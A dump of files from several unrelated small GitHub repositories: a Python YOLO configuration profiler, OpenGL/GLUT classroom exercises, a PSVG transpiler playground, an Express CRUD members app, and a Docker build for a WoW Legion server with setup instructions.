@staticmethod
def getGoldenConfig():
return {"frameRate": 25, "imgSize": 1280, "models": "yolo"}
def profile(self, segment, configurations, k):
""" Profiles each of the knobs in the given configurations
returns the top-k configurations with the least resource consumption """
knobVals = dict()
for knob in self.params:
knobVals[knob] = list()
for config in configurations:
for key, val in config.items():
if val not in knobVals[key]:
knobVals[key].append(val)
print(knobVals)
golden_config = self.getGoldenConfig()
file = self.getData(golden_config, self.source_file)
golden_dims = self.getImageDims(self.source_file)
print(" +++ In profile : Golden Config Dims = " + str(golden_dims))
curr_config = self.getGoldenConfig()
knob_val_to_score = dict()
for param in knobVals:
curr_config = self.getGoldenConfig()
for value in knobVals[param]:
curr_config[param] = value
print(
self.colors.BLUE,
"\n+++ Current Configuration : ",
curr_config,
self.colors.REVERSE,
)
print(
self.colors.BLUE,
"+++ Golden Configuration : ",
golden_config,
"\n",
self.colors.REVERSE,
)
F1_score = self.F1(segment, curr_config, file, golden_dims)
knob_val_to_score[value] = F1_score
accurate_configs = list()
configs = list()
allValues = list()
for param in knobVals:
allValues.append(knobVals[param])
configs = list(product(allValues[0], allValues[1], allValues[2]))
print(self.colors.GREEN, "All Configurations : ", configs, self.colors.REVERSE)
for config in configs:
score = 1
for value in config:
score *= knob_val_to_score[value]
print(self.colors.YELLOW, config, score, self.colors.REVERSE)
if score >= self.accuracy:
return_val = dict()
for n in range(len(self.params)):
return_val[self.params[n]] = config[n]
accurate_configs.append(return_val)
k = min(k, len(accurate_configs))
# Sort accurate_configs by resource consumption - TODO
return accurate_configs[0:k]
@staticmethod
def getbbox(file):
""" Returns the Bounding Boxes of the classes detected by YOLO
returns : list of tuples (Class, {Bounding Box : x1, x2, y1, y2}) """
bounding_boxes = list()
with open(file, "r") as f:
lines = f.readlines()
lines = lines[1:]
for n in range(0, len(lines)):
if n % 2 == 1:
box = [(int)(x) for x in lines[n].split()]
obj = lines[n - 1].split(":")[0]
grp = (obj, box)
bounding_boxes.append(grp)
return bounding_boxes
def F1(self, segment, curr_config, gold_file, golden_dims):
""" Compute the F1 score for a given config. wrt the golden config.
over `segment` no of segments """
sum = 0
curr_file = self.getData(curr_config, self.source_file)
# curr_file = self.scaleImage(curr_file, golden_dims) - Doesn't Work :/
for S in range(segment):
self.getFrames(curr_file, S, "curr")
self.getFrames(gold_file, S, "base")
# self.scaleImage('curr.jpg', golden_dims)
print(self.colors.RED, "\n +++ YOLO Running +++ \n", self.colors.REVERSE)
self.runYOLO("curr.jpg", "base.jpg")
sum += self.getF1score()
return sum / segment
def runYOLO(self, curr_file, golden_file):
""" Runs the Object Detection Model YOLO """
os.chdir(self.model_path)
os.system(
"./darknet detect cfg/yolov3.cfg yolov3.weights data/{} > {}".format(
curr_file, "curr.txt"
)
)
os.system(
"./darknet detect cfg/yolov3.cfg yolov3.weights data/{} > {}".format(
golden_file, "base.txt"
)
)
print(self.colors.RED, "\n +++ YOLO Run completed +++ \n", self.colors.REVERSE)
os.chdir("/home/kshitij/btp/Papers/Chaml_impl/")
return
def getF1score(self):
""" Returns F1 score of the config wrt Golden Config for the current frame """
path = self.model_path
file_golden = ""
file_current = ""
for file in os.listdir(path):
if file.endswith(".txt"):
if file.endswith("base.txt"):
file_golden = file
if file.endswith("curr.txt"):
file_current = file
precision = 0.0
recall = 0.0
curr_bboxes = self.getbbox(os.path.join(path, file_current))
gold_bboxes = self.getbbox(os.path.join(path, file_golden))
total_detect = len(gold_bboxes)
total_object = len(curr_bboxes)
true_positive = 0
# pprint.pprint(gold_bboxes)
# pprint.pprint(curr_bboxes)
for box_1 in curr_bboxes:
for box_2 in gold_bboxes:
if box_1[0] == box_2[0]:
x_left = max(box_1[1][0], box_2[1][0])
y_top = max(box_1[1][1], box_2[1][1])
x_right = min(box_1[1][2], box_2[1][2])
y_bottom = min(box_1[1][3], box_2[1][3])
if x_left > x_right or y_top > y_bottom:
continue
intersection = (x_right - x_left) * (y_bottom - y_top)
A1 = (box_1[1][2] - box_1[1][0]) * (box_1[1][3] - box_1[1][1])
A2 = (box_2[1][2] - box_2[1][0]) * (box_2[1][3] - box_2[1][1])
IoU = (intersection) / (A1 + A2 - intersection)
assert IoU >= 0.0
assert IoU <= 1.0
# print("IoU = {}".format(IoU))
if IoU >= self.threshold:
true_positive += 1
gold_bboxes.remove(box_2)
break
precision = true_positive / total_detect
recall = true_positive / total_object
print(
self.colors.MAGENTA,
"\n +++ True Pos = {}, Golden Config Obj. Cnt = {}, Curr Config Obj. Cnt = {} +++\n".format(
true_positive, total_detect, total_object
),
self.colors.REVERSE,
)
try:
F1 = 2 / ((1 / precision) + (1 / recall))
print(self.colors.RED, " +++ F1 score = ", F1, self.colors.REVERSE)
return F1
except:
ZeroDivisionError
return 0
if __name__ == "__main__":
# Run the Model
chameleon()
```
|
07nguyenpaul/eloquent-chapter6-7
|
07nguyenpaul/eloquent-chapter6-7
README.md
```# eloquent-chapter6-7
I read through both chapters. I'm starting to understand chapter 6 with objects and prototypes.
However, once I got to chapter 7 it got really confusing to me. I feel like when I'm looking at the code I
can understand and see what is being implimented but I for sure can't create it by myself if I had to. I'm going to try
to go through it again in smaller sections and see if I can create the animation.
```
|
08160572/2021graphics
|
08160572/2021graphics
main.cpp
```#include <GL/glut.h>
float angle=0;
void hand()
{
glPushMatrix();
glScalef(0.5,0.1,0.1);//細長的
glColor3f(0,0,1);//藍色的
glutSolidCube(1);//方塊
glPopMatrix();
}
void display()
{
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glColor3f(1,1,1);
glutSolidCube(0.5);
glPushMatrix();//右半邊
glTranslatef(0.25,0.25,0);//整個移到右上角掛著
glRotatef(angle,0,0,1);//對中心轉動
glTranslatef(0.25,0,0);//把關節移到中心
hand();///細長的藍小手
glPushMatrix();
glTranslatef(0.25,0,0);
glRotatef(angle,0,0,1);//對中心轉動
glTranslatef(0.25,0,0);//把關節移到中心
hand();//下手臂
glPopMatrix();
glPopMatrix();
glPushMatrix();//左半邊
glTranslatef(-0.25,0.25,0);//整個移到右上角掛著
glRotatef(-angle,0,0,1);//對中心轉動
glTranslatef(-0.25,0,0);//把關節移到中心
hand();///細長的藍小手
glPushMatrix();
glTranslatef(-0.25,0,0);
glRotatef(-angle,0,0,1);//對中心轉動
glTranslatef(-0.25,0,0);//把關節移到中心
hand();//下手臂
glPopMatrix();
glPopMatrix();
glutSwapBuffers();
angle++;
}
int main(int argc, char **argv)
{
glutInit( &argc,argv);
glutInitDisplayMode(GLUT_DOUBLE | GLUT_DEPTH);
glutCreateWindow("08160572");
glutDisplayFunc(display);
glutIdleFunc(display);//重畫畫面
glutMainLoop();
}
```
main.cpp
```#include <windows.h>
#include <GL/glut.h>
#include "CMP3_MCI.h" ///.h檔案要放在專案目錄裡 week10_sound
CMP3_MCI mp3;/// 宣告一個變數
CMP3_MCI shot1,shot2,shot3;
void display()
{
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glutSolidTeapot(0.3);
glutSwapBuffers();
}
void keyboard( unsigned char key, int x,int y)
{
if( key=='1' )PlaySound("do.wav",NULL,SND_ASYNC);
if( key=='2' )PlaySound("re.wav",NULL,SND_ASYNC);
if( key=='3' )PlaySound("mi.wav",NULL,SND_ASYNC);
if( key=='4' )PlaySound("fa.wav",NULL,SND_ASYNC);
if( key=='5' )PlaySound("so.wav",NULL,SND_ASYNC);
}
void mouse( int button, int state, int x,int y)
{
if(state==GLUT_DOWN && button==GLUT_LEFT_BUTTON ) shot1.Play();
if(state==GLUT_DOWN && button==GLUT_MIDDLE_BUTTON ) shot2.Play();
if(state==GLUT_DOWN && button==GLUT_RIGHT_BUTTON ) shot3.Play();
}
int main(int argc,char** argv)
{
shot1.Load("1.wav");shot2.Load("2.wav");shot3.Load("3.wav");
mp3.Load("music.mp3");
mp3.Play();
glutInit(&argc,argv);
glutInitDisplayMode( GLUT_DOUBLE | GLUT_DEPTH );
glutCreateWindow("Wee10 Sound");
glutDisplayFunc(display);
glutKeyboardFunc(keyboard);
glutMouseFunc(mouse);
glutMainLoop();
}
```
|
0918nobita/psvg-playground
|
0918nobita/psvg-playground
out.js
```function __val(x) {
if (new RegExp(/^[+-]?(\d+([.]\d*)?([eE][+-]?\d+)?|[.]\d+([eE][+-]?\d+)?)$/g).test(x)) {
return parseFloat(x);
}
if (x == `true` || x == `false`) {
return x == `true`;
}
let hascm = x["includes"](",");
if (hascm) {
x = x.replace(/, */g, ",");
let hasws = x["includes"](" ");
var y = __tolist(x);
if (!hasws) {
y["allCommas"] = true;
}
return y;
}
if (x["includes"](" ")) {
return __tolist(x);
}
return x;
}
function __tolist(s) {
return __makelist(s.replace(/,/g, " ").split(" ").filter((x) => x.length).map(__val));
}
function __makelist(x) {
x.toString = function() {
return x.join(x["allCommas"] ? "," : " ");
};
return x;
}
const NTH = function(x, i) {
if (typeof x == "string") {
x = __tolist(x);
}
return x[i];
};
const TAKE = function(x, n) {
if (typeof x == "string") {
x = __tolist(x);
}
return __makelist(x.slice(0, n));
};
const DROP = function(x, n) {
if (typeof x == "string") {
x = __tolist(x);
}
return __makelist(x.slice(n));
};
const UPDATE = function(x, i, y) {
if (typeof x == "string") {
x = __tolist(x);
}
let z = x.slice();
z[i] = y;
return __makelist(z);
};
const MAP = function(x, f) {
if (typeof x == "string") {
x = __tolist(x);
}
return __makelist(x.map((y) => f(__val(y))));
};
const FILTER = function(x, f) {
if (typeof x == "string") {
x = __tolist(x);
}
return __makelist(x.filter((y) => f(__val(y))));
};
const COUNT = function(x) {
if (typeof x == "string") {
x = __tolist(x);
}
return x.length;
};
const CAT = function(...args) {
return __makelist([].concat(...args.filter((y) => y.toString().length).map((x) => typeof x == "string" ? __tolist(x) : x)));
};
const REV = function(x) {
if (typeof x == "string") {
x = __tolist(x);
}
return __makelist(x.slice().reverse());
};
const FILL = function(x, n) {
return __makelist(new Array(n)["fill"](x));
};
const LERP = function(x, y, t) {
return x * (1 - t) + y * t;
};
const CLAMP = function(x, lo, hi) {
[lo, hi] = [Math.min(lo, hi), Math.max(lo, hi)];
return Math.min(Math.max(x, lo), hi);
};
const MAPVAL = function(x, istart, istop, ostart, ostop) {
return ostart + (ostop - ostart) * ((x - istart) / (istop - istart));
};
const ABS = Math["abs"];
const ACOS = Math["acos"];
const ACOSH = Math["acosh"];
const ASIN = Math["asin"];
const ASINH = Math["asinh"];
const ATAN = Math["atan"];
const ATANH = Math["atanh"];
const ATAN2 = Math["atan2"];
const CEIL = Math["ceil"];
const CBRT = Math["cbrt"];
const EXPM1 = Math["expm1"];
const CLZ32 = Math["clz32"];
const COS = Math["cos"];
const COSH = Math["cosh"];
const EXP = Math["exp"];
const FLOOR = Math["floor"];
const FROUND = Math["fround"];
const HYPOT = Math["hypot"];
const IMUL = Math["imul"];
const LOG = Math["log"];
const LOG1P = Math["log1p"];
const LOG2 = Math["log2"];
const LOG10 = Math["log10"];
const MAX = Math["max"];
const MIN = Math["min"];
const POW = Math["pow"];
const RANDOM = Math["random"];
const ROUND = Math["round"];
const SIGN = Math["sign"];
const SIN = Math["sin"];
const SINH = Math["sinh"];
const SQRT = Math["sqrt"];
const TAN = Math["tan"];
const TANH = Math["tanh"];
const TRUNC = Math["trunc"];
const E = Math["E"];
const LN10 = Math["LN10"];
const LN2 = Math["LN2"];
const LOG10E = Math["LOG10E"];
const LOG2E = Math["LOG2E"];
const PI = Math["PI"];
const SQRT1_2 = Math["SQRT1_2"];
const SQRT2 = Math["SQRT2"];
let __out = '';
__out += `<svg xmlns="http://www.w3.org/2000/svg" width="${500}" height="${200}" >`;
const WIDTH = 500;
const HEIGHT = 200;
for (let i = 0; i < 5; i += 1) {
let red = RANDOM() * 255;
let green = RANDOM() * 255;
let blue = RANDOM() * 255;
__out += `<circle cx="${i * 50 + 30}" cy="${i * 50 + 30}" r="${15}" fill="${__val(`rgb(${red},${green},${blue})`)}" />`;
}
__out+='</svg>';
console.log(__out);
```
README.md
```# PSVG Playground
```
$ git clone git@github.com:0918nobita/psvg.git
$ cd psvg
$ npm i
$ npm run build
$ cd ..
$ yarn
$ yarn dev
```
```
buildFn.ts
```import { buildSync, BuildOptions } from 'esbuild';
export const buildFn = (): void => {
const buildOptions: BuildOptions = {
platform: 'browser',
entryPoints: ['src/index.ts'],
outfile: 'dist/index.js',
bundle: true,
};
buildSync(buildOptions);
};
```
element.ts
```export interface PSVG2Element {
tagName: string;
children: PSVG2Element[];
attributes: Record<string, string>;
innerHTML: string;
}
```
index.ts
```export { parsePSVG2 } from './parser';
export { transpilePSVG2 } from './transpiler';
export { compilePSVG2 } from './compiler';
```
compiler.ts
```import { parsePSVG2 } from './parser';
import { transpilePSVG2 } from './transpiler';
export const compilePSVG2 = (src: string): void => {
const prgm = parsePSVG2(src);
console.log(transpilePSVG2(prgm));
};
```
parser.ts
```import { PSVG2Element } from './element';
const eliminateComments = (src: string): string =>
src.replace(/<!--[^\0]*?-->/gm, '');
const getTagName = (open: string): string =>
open.trim().split(' ')[0].trimEnd();
const getAttributes = (open: string) => {
const iter = open.matchAll(/(^| )([^ ]+?)\="([^"]*)"/g);
const arr = Array.from(iter);
return Object.fromEntries(arr.map((x) => x.slice(2)));
};
export const parsePSVG2 = (src: string): PSVG2Element[] => {
src = eliminateComments(src);
let i = 0;
const elts: PSVG2Element[] = [];
while (i <= src.length) {
if (!(src[i] === '<')) {
i++;
continue;
}
let j = i + 1;
let bodyStart = -1;
let bodyEnd = -1;
let isQuoted = false;
let nestingLevel = 0;
const parseNormalTag = (bodyStart: number, bodyEnd: number): void => {
const open = src.slice(i + 1, bodyStart - 1);
const body = src.slice(bodyStart, bodyEnd);
const elt: PSVG2Element = {
tagName: getTagName(open),
attributes: getAttributes(open),
children: parsePSVG2(body),
innerHTML: body,
};
elts.push(elt);
};
const parseSelfClosingTag = (): void => {
const open = src.slice(i + 1, j);
const elt: PSVG2Element = {
tagName: getTagName(open),
attributes: getAttributes(open),
children: [],
innerHTML: '',
};
elts.push(elt);
};
while (j <= src.length) {
if (src[j] === '\\') j++;
if (src[j] === '"') isQuoted = !isQuoted;
if (!isQuoted) {
if (src[j] === '>' && nestingLevel === 0 && bodyStart === -1)
bodyStart = j + 1;
if (src[j] === '<') {
if (src[j + 1] === '/') {
nestingLevel--;
if (nestingLevel === -1) bodyEnd = j;
while (src[j] !== '>') j++;
if (nestingLevel === -1) {
parseNormalTag(bodyStart, bodyEnd);
i = j;
break;
}
} else {
nestingLevel++;
}
} else if (src[j] === '/' && src[j + 1] === '>') {
nestingLevel--;
if (nestingLevel === -1) {
parseSelfClosingTag();
i = j;
break;
}
}
}
j++;
}
i++;
}
return elts;
};
```
buildTask.ts
```import { buildFn } from './buildFn';
buildFn();
```
transpiler.ts
```import { PSVG2Element } from './element';
import { PSVG2Func } from './func';
export const transpilePSVG2 = (prgm: PSVG2Element[]): string => {
const funcs: Record<string, PSVG2Func> = {};
const __val = (x: string): any => {
if (
new RegExp(
/^[+-]?(\d+([.]\d*)?([eE][+-]?\d+)?|[.]\d+([eE][+-]?\d+)?)$/g
).test(x)
)
return parseFloat(x);
if (x === 'true' || x === 'false') return x === 'true';
const hasComma = x.includes(',');
if (hasComma) {
x = x.replace(/, */g, ',');
const hasWhitespace = x.includes(' ');
const y = __tolist(x);
if (!hasWhitespace) {
(y as any)['allCommas'] = true;
}
return y;
}
};
const __makelist = (x: any[]): any[] => {
x.toString = () => x.join((x as any)['allCommas'] ? ',' : ' ');
return x;
};
const __tolist = (s: string): any[] =>
__makelist(
s
.replace(/,/g, ' ')
.split(' ')
.filter((x) => x.length)
.map(__val)
);
return Function(`"use strict"; return (${__val.toString()})('false');`)();
};
```
index.ts
```import { compilePSVG /*, parsePSVG*/ } from '@lingdong/psvg';
import { Option, none, some } from 'fp-ts/lib/Option';
import * as S from 'fp-ts/lib/State';
import { State } from 'fp-ts/lib/State';
import { compilePSVG2 } from './psvg2';
// debugger;
const src = `
<psvg width="500" height="200">
<for i="0" true="{i < 5}" step="1">
<var red="{RANDOM() * 255}" />
<var green="{RANDOM() * 255}" />
<var blue="{RANDOM() * 255}" />
<circle
cx="{i * 50 + 30}"
cy="{i * 50 + 30}"
r="15"
fill="rgb({red},{green},{blue})" />
</for>
</psvg>`;
// console.log(parsePSVG(src));
const svgElem = compilePSVG(src);
// console.log({ svgElem });
compilePSVG2(src);
const div = document.createElement('div');
div.innerHTML = svgElem;
document.body.appendChild(div);
const ident: State<string, Option<string>> = (input) => {
if (input.length === 0) return [none, input];
for (let i = 0; i < input.length; i++) {
const c = input[i];
if (!c.match(/[a-zA-Z]/))
return [i !== 0 ? some(input.slice(0, i)) : none, input.slice(i)];
}
return [some(input), ''];
};
console.log(S.evaluate('foo ')(ident));
```
watchTask.ts
```import path from 'path';
import sane from 'sane';
import { buildFn } from './buildFn';
const watcher = sane(path.join(__dirname, '../src'), { glob: ['**/*.ts'] });
watcher.on('ready', buildFn);
watcher.on('change', buildFn);
```
|
09o/ExpressCURD
|
09o/ExpressCURD
members.js
```/**
* members.js
* 数据操作文件模板
* 职责:
* 操作文件中的数据,只处理数据,不关心业务
*/
var fs = require('fs')
var dbPath = './db.json'
// 获取所有成员列表
// callback() 中的参数
// + 第一个是err
// - 成功是 null
// - 错误是 错误对象
// + 第二个是结果
// - 成功是 数组
// - 错误是 undifined
//
// 封装异步API
exports.find = function (callback) {
fs.readFile(dbPath, 'utf-8', function (err, data) {
if (err) {
return callback(err)
}
callback(null, JSON.parse(data).members)
})
}
// 添加保存成员信息
exports.save = function (obj, callback) {
fs.readFile(dbPath, function (err, data) {
if (err) {
return callback(err)
}
var members = JSON.parse(data).members
obj.id = members[members.length-1].id + 1
members.push(obj)
// 将对象数据转为字符串
var fileData = JSON.stringify({
members: members
})
fs.writeFile(dbPath, fileData, function (err) {
if (err) {
return callback(err)
}
callback(null)
})
})
}
// 根据id获取对象
exports.findById = function (id, callback) {
fs.readFile(dbPath, 'utf-8', function (err, data) {
if (err) {
return callback(err)
}
var members = JSON.parse(data).members
var ret = members.find(function (item) {
return item.id === id
})
callback(null, ret)
})
}
// 更新修改成员信息
exports.updateById = function (obj, callback) {
fs.readFile(dbPath, 'utf-8', function (err, data) {
if (err) {
return callback(err)
}
var members = JSON.parse(data).members
// 传入的对象的id属性值为字符串需要转换
obj.id = parseInt(obj.id)
// 需要修改谁就将其找出来
// ES6 中的一个数组方法:需要接收一个函数作为参数
// 当某个遍历项符合 item.id === obj.id 条件的时候,
// find会终止遍历,同时返回遍历项
var mem = members.find(function (item) {
return item.id === obj.id
})
// 遍历拷贝,使用一个for...in循环获取到属性名并逐一修改目标对象的值
for (var key in obj) {
mem[key] = obj[key]
}
var fileData = JSON.stringify({
members: members
})
fs.writeFile(dbPath, fileData, function (err) {
if (err) {
return callback(err)
}
callback(null)
})
})
}
// 删除成员
exports.deleteById = function(id, callback) {
fs.readFile(dbPath, 'utf-8', function (err, data) {
if (err) {
return callback(err)
}
// 将字符串数据转换为对象
var members = JSON.parse(data).members
// 需要删除谁就将其的索引找出来
// ES6 中的一个数组方法:需要接收一个函数作为参数
// 当某个遍历项符合 item.id === obj.id 条件的时候,
// findIndex会终止遍历,同时返回其索引
var index = members.findIndex(function (item) {
return item.id === id
})
members.splice(index, 1)
var fileData = JSON.stringify({
members: members
})
fs.writeFile(dbPath, fileData, function (err) {
if (err) {
return callback(err)
}
callback(null)
})
})
}
// 如果需要获取一个函数中异步操作的结果
// 则必须通过回调函数来获取
/*
function fn(callback) {
setTimeout(function () {
var data = 'hello'
// 回调函数获取操作结果
callback(data)
}, 1000)
}
fn(function (data) {
console.log(data)
})
*/```
README.md
```# Express - curd
## 起步
- 初始化
- 安装依赖
- 模板处理
## 模块化思想
模块职责单一
## 路由设计
| 请求方法 | 请求路径 | get参数 | post参数 | 备注 |
|:----:|:---------------:|:-----:|:--------------------------:|:--------:|
| GET | /membes | | | 渲染首页 |
| GET | /members/new | | | 渲染添加学生页面 |
| POST | /members/new | | name,age,gender,hobbies | 处理添加学生请求 |
| GET | /members/edit | id | | 渲染编辑页面 |
| POST | /members/edit | | id,name,age,gender,hobbies | 处理编辑请求 |
| GET | /members/delete | id | | 处理删除请求 |
## 基本实现步骤
1. 处理模板
2. 配置开放静态资源
3. 配置模板引擎
4. 简单路由: /members 渲染静态页面
5. 路由设计
6. 提取路由模块
7. 封装members.js
8. 写好members.js文件结构
- 查询列表 API find
- FindById
- save
- updateById
- deleteById
9. 实现具体功能
- 通过路由收到请求
- 接收请求中的数据(get,post)
+ req.query (GET)
+ req.body (POST)
- 调用数据操作API处理数据
- 根据操作结果给客户端发送响应
## ES6 语法
- find
- findIndex
```javascript
var group = [
{id: 1, name: 'a', age: 20},
{id: 2, name: 'b', age: 22},
{id: 3, name: 'c', age: 21},
{id: 4, name: 'd', age: 23}
]
Array.prototype.MyFind = function (conditionFun) {
for (var i = 0; i < this.length; i++) {
if (conditionFun(this[i], i)) {
return this[i]
// return i
}
}
}
var ret = group.MyFind(function(item, index) {
return item.id === 3
})
console.log(ret)
``````
router.js
```/*
* router.js 路由模块
* 职责:
* 处理路由
* 根据不同的请求方法+请求路径设置具体的请求处理函数
* 模块职责要单一,不能乱写
* 划分模块的目的是为了增强代码的可维护性与提升开发效率
*/
var fs = require('fs')
var express = require('express')
var Members = require('./members')
// 方式一 不太合理,不予采用
// var app = require('./app')
// 方式二
// module.exports = (app) => {
// app.get('/members', (req, res) => {
// // readFile 的第二个参数是可选的,读取到的文件直接按照utf-8编码
// // 除了这样转换之外,也可以通过data.toString()的方式
// fs.readFile('./db.json', 'utf-8', (err, data) => {
// if (err) {
// return res.status(500).send('Server error.')
// }
// // 文件中读取到的数据是字符串格式,需要转换为对象来使用
// var members = JSON.parse(data).members
// res.render('index.html', {
// nogis: [
// 'Kakki',
// 'Sakura',
// 'Yuna',
// 'Mayu'
// ],
// members: members
// })
// })
// })
// }
// 方式三 Express提供的方法 采用此方式更好
var router = express.Router()
router.get('/members', (req, res) => {
// readFile 的第二个参数是可选的,读取到的文件直接按照utf-8编码
// 除了这样转换之外,也可以通过data.toString()的方式
/*fs.readFile('./db.json', 'utf-8', (err, data) => {
if (err) {
return res.status(500).send('Server error.')
}
// 文件中读取到的数据是字符串格式,需要转换为对象来使用
var members = JSON.parse(data).members
res.render('index.html', {
nogis: [
'Kakki',
'Sakura',
'Yuna',
'Mayu'
],
members: members
})
})*/
Members.find(function(err, members) {
if (err) {
return res.status(500).send('Server error.')
}
res.render('index.html', {
nogis: [{
name: 'Kakki',
img: '/public/img/kakki.jpg'
}, {
name: 'Yuna',
img: '/public/img/yuna.jpg'
}, {
name: 'Mayu',
img: '/public/img/mayu.jpg'
}, {
name: 'Sakura',
img: '/public/img/sakura.jpg'
}],
members: members
})
})
})
router.get('/members/new', (req, res) => {
res.render('new.html')
})
router.post('/members/new', (req, res) => {
// 1 获取表单数据
// 2 处理
// 将数据保存到db.json中用以持久化
// - 先读文件把数据转为对象
// - push数据
// - 将对象转为字符串
// - 把字符串写入文件
// 3 发送响应
Members.save(req.body, function (err) {
if (err) {
return res.status(500).send('Server error.')
}
res.redirect('/members')
})
})
// 渲染编辑页面
router.get('/members/edit', (req, res) => {
/*1. 在客户端的列表页中处理链接问题(需要有id参数)
2. 获取要编辑的学生id
3. 渲染编辑页面
根据id把学生信息查找出来
使用模板引擎渲染页面*/
console.log(req)
Members.findById(parseInt(req.query.id), function (err, mem) {
if (err) {
return res.status(500).send('Server error.')
}
res.render('edit.html', {
member: mem
})
})
})
router.post('/members/edit', (req, res) => {
/*1. 获取表单数据
2. 更新
Members.updateById()
3. 发送响应*/
// req.body 传入的对象属性值为字符串格式
Members.updateById(req.body, function (err) {
if (err) {
return res.status(500).send('Server error.')
}
})
res.redirect('/members')
})
router.get('/members/delete', (req, res) => {
// 1. 获取要删除的项的id
// 2. 根据id执行删除操作
// 3. 根据操作结果发送响应数据
// console.log(typeof req.query.id)
Members.deleteById(parseInt(req.query.id), function(err) {
if (err) {
return res.status(500).send('Server error.')
}
res.redirect('/members')
})
})
// 导出router
module.exports = router```
|
0AdityaD/raytracer
|
0AdityaD/raytracer
README.md
```Haskell Ray Tracer
===================
## Requirements
This project requires [Stack](https://github.com/commercialhaskell/stack) to
build. Most Linux distros will come with a stack package in their repos--on
Windows and MacOS systems, you can use the [Haskell
Platform](https://www.haskell.org/platform/) to obtain Stack.
```
|
0IvI0/javatraining
|
0IvI0/javatraining
README.md
```# javatraining
GitHub Learning Lab - java training
```
|
0MikoMiko0/Small-GLua-Things
|
0MikoMiko0/Small-GLua-Things
README.md
```A lot of helpful things there!
Few small scripts and few examples.
So u can take note of some of this :)
```
|
0b-ivan/docker-wow-legion
|
0b-ivan/docker-wow-legion
dbuild.sh
```#!/bin/bash
# @author Michael Wiesendanger <michael.wiesendanger@gmail.com>
# @description build script for docker-wow-legion-server container
set -euo pipefail
WD="${PWD}"
# variable setup
DOCKER_WOW_LEGION_SERVER_TAG="ragedunicorn/wow-legion-server"
DOCKER_WOW_LEGION_SERVER_NAME="wow-legion-server"
# get absolute path to script and change context to script folder
SCRIPTPATH="$(cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd)"
cd "${SCRIPTPATH}"
echo "$(date) [INFO]: Building container: ${DOCKER_WOW_LEGION_SERVER_NAME}"
# build wow_legion_server container
docker build -t "${DOCKER_WOW_LEGION_SERVER_TAG}" ../
cd "${WD}"
```
README.md
```# docker-wow-legion
> A docker base image to build a container for WoW Legion Server
This image is intended to build a base for running a WoW Legion Server based on the work of Trinity and the AshamaneProject. It uses [ragedunicorn/mysql](https://cloud.docker.com/repository/docker/ragedunicorn/mysql) as a provider for the database.
Its intent is to provide a WoW Server for experimenting and developing WoW Addons.

## Using the image
#### Start container
The container can be easily started with `docker-compose` command.
```
docker-compose up -d
```
#### Stop container
To stop all services from the docker-compose file
```
docker-compose down
```
#### Join a swarm
```
docker swarm init
```
#### Create secrets
```
echo "some_password" | docker secret create com.ragedunicorn.mysql.root_password -
echo "app_user" | docker secret create com.ragedunicorn.mysql.app_user -
echo "app_user_password" | docker secret create com.ragedunicorn.mysql.app_user_password -
```
#### Deploy stack
```
docker stack deploy --compose-file=docker-compose.stack.yml [stackname]
```
For a production deployment a stack should be deployed. Secrets will then be taken into account and both the MySQL container and the WoW container will be setup accordingly.
### Overwriting build args
Using `docker-compose.dev.yml` or `docker-compose.yml` allows for easy overriding of certain build arguments.
```
wow_legion_server:
build:
context: .
args:
WOW_USER: legion
WOW_GROUP: legion
WOW_HOME: /home/legion
DTOOLS: 1
```
### Create WoW Account
You will have to create an account by yourself. The server service allocates a tty for the mangos console. This allows to attach directly to the mangosd process and its console.
```
docker attach [CONTAINER]
bnetaccount create <user> <pass>
account set gmlevel [$account] #level [#realmid]
```
Note: The username used for setting your gmlevel is not the same as the username you create with bnetaccount. You must manually find the username in auth.account.username. These are formatted as 1#1, 2#1, etc.
Level `#level` may range from 0 to 3. Realmid `#realmid` may be -1 for all realms.
example:
```
bnetaccount create admin@admin admin
account set gmlevel 1#1 3 -1
```
Login to your account:
Log in with email admin@admin and password admin through Wow_Patched.exe or Wow-64_Patched.exe.
## Dockery
In the dockery folder are some scripts that help out avoiding retyping long docker commands but are mostly intended for playing around with the container. For production use docker-compose should be used.
#### Build image
The build script builds an image with a defined name
```
sh dockery/dbuild.sh
```
#### Run container
Runs the built container. If the container was already run once it will `docker start` the already present container instead of using `docker run`
```
sh dockery/drun.sh
```
#### Attach container
Attaching to the container after it is running
```
sh dockery/dattach.sh
```
#### Stop container
Stopping the running container
```
sh dockery/dstop.sh
```
## Configuration
### bnetserver.conf
Configuration for realm is located in config/bnetserver.conf.tpl and copied into the image opt/legion/etc
### worldserver.conf
Configuration for world server is located in config/worldserver.conf.tpl and copied into the image opt/legion/etc
During the startup of the server the templates are rendered and the final configuration is created. This step is repeated each time the docker-entrypoint.sh script is executed. It is important that all modifications are done in the templates itself and not the generated configuration. Those will be overwritten.
Using this information configuration files can be overwritten by mounting different ones into the container. Again it is important that the template files are being used otherwise the configuration will be overwritten after each restart of the container.
In this example the same configurations that are copied into the image are mounted when using docker-compose. In most cases it makes more sense to have a separate configuration somewhere. This makes it easy having different configurations for different servers.
```
volumes:
- ${PWD}/config/bnetserver.conf.tpl:/opt/legion/etc/bnetserver.conf.tpl
- ${PWD}/config/worldserver.conf.tpl:/opt/legion/etc/worldserver.conf.tpl
```
## Development
To debug the container and get more insight into the container use the `docker-compose.dev.yml`
configuration.
```
docker-compose -f docker-compose.dev.yml up -d
```
By default the launchscript `/docker-entrypoint.sh` will not be used to start the `worldserver` and `bnetserver` processes. Instead the container will be setup to keep `stdin_open` open and allocating a pseudo `tty`. This allows for connecting to a shell and work on the container. A shell can be opened inside the container with `docker attach [container-id]`. The server itself can be started with `./docker-entrypoint.sh`. Note that this has to be done for the database container first otherwise both `worldserver` and `bnetserver` will not be able to connect to the database.
### Generating Server Files (optional)
This repository does not contain the necessary client files such as `dbc`, `maps`, `mmaps` , `cameras`, `gt` and `vmaps`. Generate this files by following the steps below and then place them in the data folder. The data folder will be added as a local volume to the container.
When building the server from source make sure to include the tools. This can be done with the build arg `DTOOLS` set to `1` (default is `0`).
```bash
cmake ../ -DCMAKE_INSTALL_PREFIX="${WOW_INSTALL}" -DTOOLS="${DTOOLS}" && \
make && \
make install
```
This will create the required tools during the compilation of the server. With make install the binaries are copied to `/opt/legion/bin`. For extracting the data a WoW installation is required. It does not matter in this case whether that installation is for Mac or Windows.
Copy wow client to running docker container. The WoW client is not contained in this repository.
`docker cp [client folder] [container-id]:/home/[user]/`
Then navigate inside your `wow-legion-client` folder.
#### Generate maps, dbc, cameras and gt
```
/opt/legion/bin/mapextractor
```
